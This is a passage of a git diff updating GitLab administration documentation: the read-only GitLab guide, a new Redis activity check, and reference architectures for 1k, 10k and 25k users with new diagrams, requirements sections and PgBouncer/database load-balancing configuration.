+sudo find /var/opt/gitlab/gitlab-rails/uploads -type f | grep -v tmp | wc -l
+```
+
### Individual Rake tasks
If you already ran the [all-in-one Rake task](#all-in-one-rake-task), there is no need to run these
diff --git a/doc/administration/read_only_gitlab.md b/doc/administration/read_only_gitlab.md
index 2fbcb2a62e7..b7e8397dd95 100644
--- a/doc/administration/read_only_gitlab.md
+++ b/doc/administration/read_only_gitlab.md
@@ -16,7 +16,7 @@ The configuration for doing so depends on your desired outcome.
## Make the repositories read-only
-The first thing you'll want to accomplish is to ensure that no changes can be
+The first thing you want to accomplish is to ensure that no changes can be
made to your repositories. There's two ways you can accomplish that:
- Either stop Puma to make the internal API unreachable:
@@ -46,7 +46,7 @@ made to your repositories. There's two ways you can accomplish that:
## Shut down the GitLab UI
If you don't mind shutting down the GitLab UI, then the easiest approach is to
-stop `sidekiq` and `puma`, and you'll effectively ensure that no
+stop `sidekiq` and `puma`, and you effectively ensure that no
changes can be made to GitLab:
```shell
@@ -63,7 +63,7 @@ sudo gitlab-ctl start puma
## Make the database read-only
-If you want to allow users to use the GitLab UI, then you'll need to ensure that
+If you want to allow users to use the GitLab UI, then you need to ensure that
the database is read-only:
1. Take a [GitLab backup](../raketasks/backup_restore.md)
@@ -113,7 +113,7 @@ the database is read-only:
sudo gitlab-ctl restart postgresql
```
-When you're ready to revert the read-only state, you'll need to remove the added
+When you're ready to revert the read-only state, you need to remove the added
lines in `/etc/gitlab/gitlab.rb`, and reconfigure GitLab and restart PostgreSQL:
```shell
diff --git a/doc/administration/redis/troubleshooting.md b/doc/administration/redis/troubleshooting.md
index 6ab3d55e06a..f4aab9d7b7f 100644
--- a/doc/administration/redis/troubleshooting.md
+++ b/doc/administration/redis/troubleshooting.md
@@ -20,6 +20,18 @@ Before proceeding with the troubleshooting below, check your firewall rules:
- Connect to other Sentinel machines via TCP in `26379`
- Connect to the Redis machines via TCP in `6379`
+## Basic Redis activity check
+
+Start Redis troubleshooting with a basic Redis activity check:
+
+1. Open a terminal on your GitLab server.
+1. Run `gitlab-redis-cli --stat` and observe the output while it runs.
+1. Go to your GitLab UI and browse to a handful of pages. Any page works, like
+ group or project overviews, issues, files in repositories, and so on.
+1. Check the `stat` output again and verify that the values for `keys`, `clients`,
+ `requests`, and `connections` increases as you browse. If the numbers go up,
+ basic Redis functionality is working and GitLab can connect to it.
+
## Troubleshooting Redis replication
You can check if everything is correct by connecting to each server using
diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md
index 9c3c33e1fa8..fa8dfdf667b 100644
--- a/doc/administration/reference_architectures/10k_users.md
+++ b/doc/administration/reference_architectures/10k_users.md
@@ -12,6 +12,7 @@ full list of reference architectures, see
> - **Supported users (approximate):** 10,000
> - **High Availability:** Yes ([Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution for HA)
+> - **Estimated Costs:** [GCP](https://cloud.google.com/products/calculator#id=e77713f6-dc0b-4bb3-bcef-cea904ac8efd)
> - **Cloud Native Hybrid Alternative:** [Yes](#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
> - **Performance tested daily with the [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance)**:
> - **Test requests per second (RPS) rates:** API: 200 RPS, Web: 20 RPS, Git (Pull): 20 RPS, Git (Push): 4 RPS
@@ -37,7 +38,7 @@ full list of reference architectures, see
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -49,6 +50,8 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 10k
+skinparam linetype ortho
+
card "**External Load Balancer**" as elb #6a9be7
card "**Internal Load Balancer**" as ilb #9370DB
@@ -73,8 +76,8 @@ card "Gitaly Cluster" as gitaly_cluster {
card "Database" as database {
collections "**PGBouncer** x3" as pgbouncer #4EA7FF
- card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
- collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+ card "**PostgreSQL** //Primary//" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** //Secondary// x2" as postgres_secondary #4EA7FF
pgbouncer -[#4EA7FF]-> postgres_primary
postgres_primary .[#4EA7FF]> postgres_secondary
@@ -83,31 +86,38 @@ card "Database" as database {
card "redis" as redis {
collections "**Redis Persistent** x3" as redis_persistent #FF6347
collections "**Redis Cache** x3" as redis_cache #FF6347
+
+ redis_cache -[hidden]-> redis_persistent
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]--> monitor
+elb -[#6a9be7,norank]--> monitor
-gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
+gitlab -[#32CD32,norank]--> ilb
+gitlab -[#32CD32]r-> object_storage
+gitlab -[#32CD32]----> redis
+gitlab .[#32CD32]----> database
gitlab -[hidden]-> monitor
gitlab -[hidden]-> consul
-sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
+sidekiq -[#ff8dd1,norank]--> ilb
+sidekiq -[#ff8dd1]r-> object_storage
+sidekiq -[#ff8dd1]----> redis
+sidekiq .[#ff8dd1]----> database
sidekiq -[hidden]-> monitor
sidekiq -[hidden]-> consul
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden]--> redis
+ilb -[hidden]u-> consul
+ilb -[hidden]u-> monitor
consul .[#e76a9b]u-> gitlab
consul .[#e76a9b]u-> sidekiq
-consul .[#e76a9b]> monitor
+consul .[#e76a9b]r-> monitor
consul .[#e76a9b]-> database
consul .[#e76a9b]-> gitaly_cluster
consul .[#e76a9b,norank]--> redis
@@ -124,21 +134,34 @@ monitor .[#7FFFD4,norank]u--> elb
@enduml
```
-The Google Cloud Platform (GCP) architectures were built and tested using the
+## Requirements
+
+Before starting, you should take note of the following requirements / guidance for this reference architecture.
+
+### Supported CPUs
+
+This reference architecture was built and tested on Google Cloud Platform (GCP) using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
or higher, are required for your CPU or node counts. For more information, see
our [Sysbench](https://github.com/akopytov/sysbench)-based
[CPU benchmarks](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks).
-Due to better performance and availability, for data objects (such as LFS,
-uploads, or artifacts), using an [object storage service](#configure-the-object-storage)
-is recommended.
+### Supported infrastructure
+
+As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. However, this does not constitute a guarantee for every potential permutation.
+
+Be aware of the following specific call outs:
-It's also worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
+- [Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/#:~:text=Azure%20Database%20for%20PostgreSQL%20is,high%20availability%2C%20and%20dynamic%20scalability.) is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to known performance issues or missing features.
+- [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/) is recommended to be configured with [Premium accounts](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-block-blob-premium) to ensure consistent performance.
+
+### Praefect PostgreSQL
+
+It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
that to achieve full High Availability a third-party PostgreSQL database solution will be required.
We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server
-can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398)
+can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398).
## Setup components
@@ -471,14 +494,15 @@ run: node-exporter: (pid 30093) 76833s; run: log: (pid 29663) 76855s
## Configure PostgreSQL
-In this section, you'll be guided through configuring an external PostgreSQL database
-to be used with GitLab.
+In this section, you'll be guided through configuring a highly available PostgreSQL
+cluster to be used with GitLab.
### Provide your own PostgreSQL instance
If you're hosting GitLab on a cloud provider, you can optionally use a
-managed service for PostgreSQL. For example, AWS offers a managed Relational
-Database Service (RDS) that runs PostgreSQL.
+managed service for PostgreSQL.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
If you use a cloud-managed service, or provide your own PostgreSQL:
@@ -488,12 +512,25 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
needs privileges to create the `gitlabhq_production` database.
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+1. For improved performance, configuring [Database Load Balancing](../postgresql/database_load_balancing.md)
+ with multiple read replicas is recommended.
See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
further configuration steps.
### Standalone PostgreSQL using Omnibus GitLab
+The recommended Omnibus GitLab configuration for a PostgreSQL cluster with
+replication and failover requires:
+
+- A minimum of three PostgreSQL nodes.
+- A minimum of three Consul server nodes.
+- A minimum of three PgBouncer nodes that track and handle primary database reads and writes.
+ - An [internal load balancer](#configure-the-internal-load-balancer) (TCP) to balance requests between the PgBouncer nodes.
+- [Database Load Balancing](../postgresql/database_load_balancing.md) enabled.
+
+ A local PgBouncer service to be configured on each PostgreSQL node. Note that this is separate from the main PgBouncer cluster that tracks the primary.
+
The following IPs will be used as an example:
- `10.6.0.21`: PostgreSQL primary
@@ -548,8 +585,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except Patroni and Consul
- roles(['patroni_role'])
+ # Disable all components except Patroni, PgBouncer and Consul
+ roles(['patroni_role', 'pgbouncer_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -594,6 +631,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# Replace 10.6.0.0/24 with Network Address
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/24 127.0.0.1/32)
+ # Local PgBouncer service for Database Load Balancing
+ pgbouncer['databases'] = {
+ gitlabhq_production: {
+ host: "127.0.0.1",
+ user: "pgbouncer",
+ password: '<pgbouncer_password_hash>'
+ }
+ }
+
# Set the network addresses that the exporters will listen on for monitoring
node_exporter['listen_address'] = '0.0.0.0:9100'
postgres_exporter['listen_address'] = '0.0.0.0:9187'
@@ -654,9 +700,11 @@ If the 'State' column for any node doesn't say "running", check the
</a>
</div>
-## Configure PgBouncer
+### Configure PgBouncer
+
+Now that the PostgreSQL servers are all set up, let's configure PgBouncer
+for tracking and handling reads/writes to the primary database.
-Now that the PostgreSQL servers are all set up, let's configure PgBouncer.
The following IPs will be used as an example:
- `10.6.0.31`: PgBouncer 1
@@ -1216,6 +1264,15 @@ There are many third-party solutions for PostgreSQL HA. The solution selected mu
- A static IP for all connections that doesn't change on failover.
- [`LISTEN`](https://www.postgresql.org/docs/12/sql-listen.html) SQL functionality must be supported.
+NOTE:
+With a third-party setup, it's possible to colocate Praefect's database on the same server as
+the main [GitLab](#provide-your-own-postgresql-instance) database as a convenience unless
+you are using Geo, where separate database instances are required for handling replication correctly.
+In this setup, the specs of the main database setup shouldn't need to be changed as the impact should be
+minimal.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
+
Examples of the above could include [Google's Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) or [Amazon RDS](https://aws.amazon.com/rds/).
Once the database is set up, follow the [post configuration](#praefect-postgresql-post-configuration).
@@ -1671,8 +1728,8 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
- gitlab_rails['db_adapter'] = 'postgresql'
- gitlab_rails['db_encoding'] = 'unicode'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.21', '10.6.0.22', '10.6.0.23'] } # PostgreSQL IPs
+
## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1797,6 +1854,8 @@ On each node perform the following:
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
+ gitlab_rails['db_load_balancing'] = { 'hosts' => ['10.6.0.21', '10.6.0.22', '10.6.0.23'] } # PostgreSQL IPs
+
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -2120,8 +2179,7 @@ cluster alongside your instance, read how to
## Configure NFS
[Object storage](#configure-the-object-storage), along with [Gitaly](#configure-gitaly)
-are recommended over NFS wherever possible for improved performance. If you intend
-to use GitLab Pages, this currently [requires NFS](troubleshooting.md#gitlab-pages-requires-nfs).
+are recommended over NFS wherever possible for improved performance.
See how to [configure NFS](../nfs.md).
@@ -2200,7 +2258,7 @@ services where applicable):
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -2212,6 +2270,7 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 10k
+skinparam linetype ortho
card "Kubernetes via Helm Charts" as kubernetes {
card "**External Load Balancer**" as elb #6a9be7
@@ -2221,7 +2280,6 @@ card "Kubernetes via Helm Charts" as kubernetes {
collections "**Sidekiq** x4" as sidekiq #ff8dd1
}
- card "**Prometheus + Grafana**" as monitor #7FFFD4
card "**Supporting Services**" as support
}
@@ -2249,37 +2307,33 @@ card "Database" as database {
card "redis" as redis {
collections "**Redis Persistent** x3" as redis_persistent #FF6347
collections "**Redis Cache** x3" as redis_cache #FF6347
+
+ redis_cache -[hidden]-> redis_persistent
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]-> monitor
+elb -[hidden]-> sidekiq
elb -[hidden]-> support
gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
-gitlab -[hidden]--> consul
+gitlab -[#32CD32]r--> object_storage
+gitlab -[#32CD32,norank]----> redis
+gitlab -[#32CD32]----> database
sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
-sidekiq -[hidden]--> consul
-
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+sidekiq -[#ff8dd1]r--> object_storage
+sidekiq -[#ff8dd1,norank]----> redis
+sidekiq .[#ff8dd1]----> database
-consul .[#e76a9b]-> database
-consul .[#e76a9b]-> gitaly_cluster
-consul .[#e76a9b,norank]--> redis
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden,norank]--> redis
-monitor .[#7FFFD4]> consul
-monitor .[#7FFFD4]-> database
-monitor .[#7FFFD4]-> gitaly_cluster
-monitor .[#7FFFD4,norank]--> redis
-monitor .[#7FFFD4]> ilb
-monitor .[#7FFFD4,norank]u--> elb
+consul .[#e76a9b]--> database
+consul .[#e76a9b,norank]--> gitaly_cluster
+consul .[#e76a9b]--> redis
@enduml
```
diff --git a/doc/administration/reference_architectures/1k_users.md b/doc/administration/reference_architectures/1k_users.md
index 5488d8d33a6..ed6fbe84a48 100644
--- a/doc/administration/reference_architectures/1k_users.md
+++ b/doc/administration/reference_architectures/1k_users.md
@@ -29,13 +29,64 @@ many organizations.
| Up to 500 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
| Up to 1,000 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` |
-The Google Cloud Platform (GCP) architectures were built and tested using the
+```plantuml
+@startuml 1k
+card "**Prometheus + Grafana**" as monitor #7FFFD4
+package "GitLab Single Server" as gitlab-single-server {
+together {
+ card "**GitLab Rails**" as gitlab #32CD32
+ card "**Gitaly**" as gitaly #FF8C00
+ card "**PostgreSQL**" as postgres #4EA7FF
+ card "**Redis**" as redis #FF6347
+ card "**Sidekiq**" as sidekiq #ff8dd1
+}
+card "Local Storage" as local_storage #white
+}
+
+gitlab -[#32CD32]--> gitaly
+gitlab -[#32CD32]--> postgres
+gitlab -[#32CD32]--> redis
+gitlab -[#32CD32]--> sidekiq
+gitaly -[#32CD32]--> local_storage
+postgres -[#32CD32]--> local_storage
+sidekiq -[#32CD32]--> local_storage
+gitlab -[#32CD32]--> local_storage
+
+monitor .[#7FFFD4]u-> gitlab
+monitor .[#7FFFD4]u-> sidekiq
+monitor .[#7FFFD4]-> postgres
+monitor .[#7FFFD4]-> gitaly
+monitor .[#7FFFD4,norank]--> redis
+
+@enduml
+```
+
+The diagram above shows that while GitLab can be installed on a single server, it is internally composed of multiple services. As a GitLab instance is scaled, each of these services are broken out and independently scaled according to the demands placed on them. In some cases PaaS can be leveraged for some services (e.g. Cloud Object Storage for some file systems). For the sake of redundancy some of the services become clusters of nodes storing the same data. In a horizontal configuration of GitLab there are various ancillary services required to coordinate clusters or discover of resources (e.g. PgBouncer for Postgres connection management, Consul for Prometheus end point discovery).
+
+## Requirements
+
+Before starting, you should take note of the following requirements / guidance for this reference architecture.
+
+### Supported CPUs
+
+This reference architecture was built and tested on Google Cloud Platform (GCP) using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
or higher, are required for your CPU or node counts. For more information, see
our [Sysbench](https://github.com/akopytov/sysbench)-based
[CPU benchmarks](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks).
+### Supported infrastructure
+
+As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. However, this does not constitute a guarantee for every potential permutation.
+
+Be aware of the following specific call outs:
+
+- [Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/#:~:text=Azure%20Database%20for%20PostgreSQL%20is,high%20availability%2C%20and%20dynamic%20scalability.) is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to known performance issues or missing features.
+- [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/) is recommended to be configured with [Premium accounts](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-block-blob-premium) to ensure consistent performance.
+
+### Swap
+
In addition to the stated configurations, we recommend having at least 2 GB of
swap on your server, even if you currently have enough available memory. Having
swap helps to reduce the chance of errors occurring if your available memory
diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md
index 25cafbe667b..24b3350bd75 100644
--- a/doc/administration/reference_architectures/25k_users.md
+++ b/doc/administration/reference_architectures/25k_users.md
@@ -12,6 +12,7 @@ full list of reference architectures, see
> - **Supported users (approximate):** 25,000
> - **High Availability:** Yes ([Praefect](#configure-praefect-postgresql) needs a third-party PostgreSQL solution for HA)
+> - **Estimated Costs:** [GCP](https://cloud.google.com/products/calculator#id=925386e1-c01c-4c0a-8d7d-ebde1824b7b0)
> - **Cloud Native Hybrid Alternative:** [Yes](#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative)
> - **Performance tested weekly with the [GitLab Performance Tool (GPT)](https://gitlab.com/gitlab-org/quality/performance)**:
> - **Test requests per second (RPS) rates:** API: 500 RPS, Web: 50 RPS, Git (Pull): 50 RPS, Git (Push): 10 RPS
@@ -37,7 +38,7 @@ full list of reference architectures, see
<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
<!-- markdownlint-disable MD029 -->
-1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and Amazon RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61). Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
4. Should be run on reputable third-party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
@@ -49,6 +50,8 @@ For all PaaS solutions that involve configuring instances, it is strongly recomm
```plantuml
@startuml 25k
+skinparam linetype ortho
+
card "**External Load Balancer**" as elb #6a9be7
card "**Internal Load Balancer**" as ilb #9370DB
@@ -73,8 +76,8 @@ card "Gitaly Cluster" as gitaly_cluster {
card "Database" as database {
collections "**PGBouncer** x3" as pgbouncer #4EA7FF
- card "**PostgreSQL** (Primary)" as postgres_primary #4EA7FF
- collections "**PostgreSQL** (Secondary) x2" as postgres_secondary #4EA7FF
+ card "**PostgreSQL** //Primary//" as postgres_primary #4EA7FF
+ collections "**PostgreSQL** //Secondary// x2" as postgres_secondary #4EA7FF
pgbouncer -[#4EA7FF]-> postgres_primary
postgres_primary .[#4EA7FF]> postgres_secondary
@@ -83,31 +86,38 @@ card "Database" as database {
card "redis" as redis {
collections "**Redis Persistent** x3" as redis_persistent #FF6347
collections "**Redis Cache** x3" as redis_cache #FF6347
+
+ redis_cache -[hidden]-> redis_persistent
}
cloud "**Object Storage**" as object_storage #white
elb -[#6a9be7]-> gitlab
-elb -[#6a9be7]--> monitor
+elb -[#6a9be7,norank]--> monitor
-gitlab -[#32CD32]--> ilb
-gitlab -[#32CD32]-> object_storage
-gitlab -[#32CD32]---> redis
+gitlab -[#32CD32,norank]--> ilb
+gitlab -[#32CD32]r-> object_storage
+gitlab -[#32CD32]----> redis
+gitlab .[#32CD32]----> database
gitlab -[hidden]-> monitor
gitlab -[hidden]-> consul
-sidekiq -[#ff8dd1]--> ilb
-sidekiq -[#ff8dd1]-> object_storage
-sidekiq -[#ff8dd1]---> redis
+sidekiq -[#ff8dd1,norank]--> ilb
+sidekiq -[#ff8dd1]r-> object_storage
+sidekiq -[#ff8dd1]----> redis
+sidekiq .[#ff8dd1]----> database
sidekiq -[hidden]-> monitor
sidekiq -[hidden]-> consul
-ilb -[#9370DB]-> gitaly_cluster
-ilb -[#9370DB]-> database
+ilb -[#9370DB]--> gitaly_cluster
+ilb -[#9370DB]--> database
+ilb -[hidden]--> redis
+ilb -[hidden]u-> consul
+ilb -[hidden]u-> monitor
consul .[#e76a9b]u-> gitlab
consul .[#e76a9b]u-> sidekiq
-consul .[#e76a9b]> monitor
+consul .[#e76a9b]r-> monitor
consul .[#e76a9b]-> database
consul .[#e76a9b]-> gitaly_cluster
consul .[#e76a9b,norank]--> redis
@@ -124,21 +134,34 @@ monitor .[#7FFFD4,norank]u--> elb
@enduml
```
-The Google Cloud Platform (GCP) architectures were built and tested using the
+## Requirements
+
+Before starting, you should take note of the following requirements / guidance for this reference architecture.
+
+### Supported CPUs
+
+This reference architecture was built and tested on Google Cloud Platform (GCP) using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
or higher, are required for your CPU or node counts. For more information, see
our [Sysbench](https://github.com/akopytov/sysbench)-based
[CPU benchmarks](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks).
-Due to better performance and availability, for data objects (such as LFS,
-uploads, or artifacts), using an [object storage service](#configure-the-object-storage)
-is recommended.
+### Supported infrastructure
+
+As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and their services, or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. However, this does not constitute a guarantee for every potential permutation.
-It's also worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
+Be aware of the following specific call outs:
+
+- [Azure Database for PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/#:~:text=Azure%20Database%20for%20PostgreSQL%20is,high%20availability%2C%20and%20dynamic%20scalability.) is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to known performance issues or missing features.
+- [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/) is recommended to be configured with [Premium accounts](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-block-blob-premium) to ensure consistent performance.
+
+### Praefect PostgreSQL
+
+It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and
that to achieve full High Availability a third-party PostgreSQL database solution will be required.
We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server
-can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398)
+can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398).
## Setup components
@@ -474,14 +497,15 @@ run: node-exporter: (pid 30093) 76833s; run: log: (pid 29663) 76855s
## Configure PostgreSQL
-In this section, you'll be guided through configuring an external PostgreSQL database
-to be used with GitLab.
+In this section, you'll be guided through configuring a highly available PostgreSQL
+cluster to be used with GitLab.
### Provide your own PostgreSQL instance
If you're hosting GitLab on a cloud provider, you can optionally use a
-managed service for PostgreSQL. For example, AWS offers a managed Relational
-Database Service (RDS) that runs PostgreSQL.
+managed service for PostgreSQL.
+
+A reputable provider or solution should be used for this. [Google Cloud SQL](https://cloud.google.com/sql/docs/postgres/high-availability#normal) and [Amazon RDS](https://aws.amazon.com/rds/) are known to work, however Azure Database for PostgreSQL is **not recommended** due to [performance issues](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61).
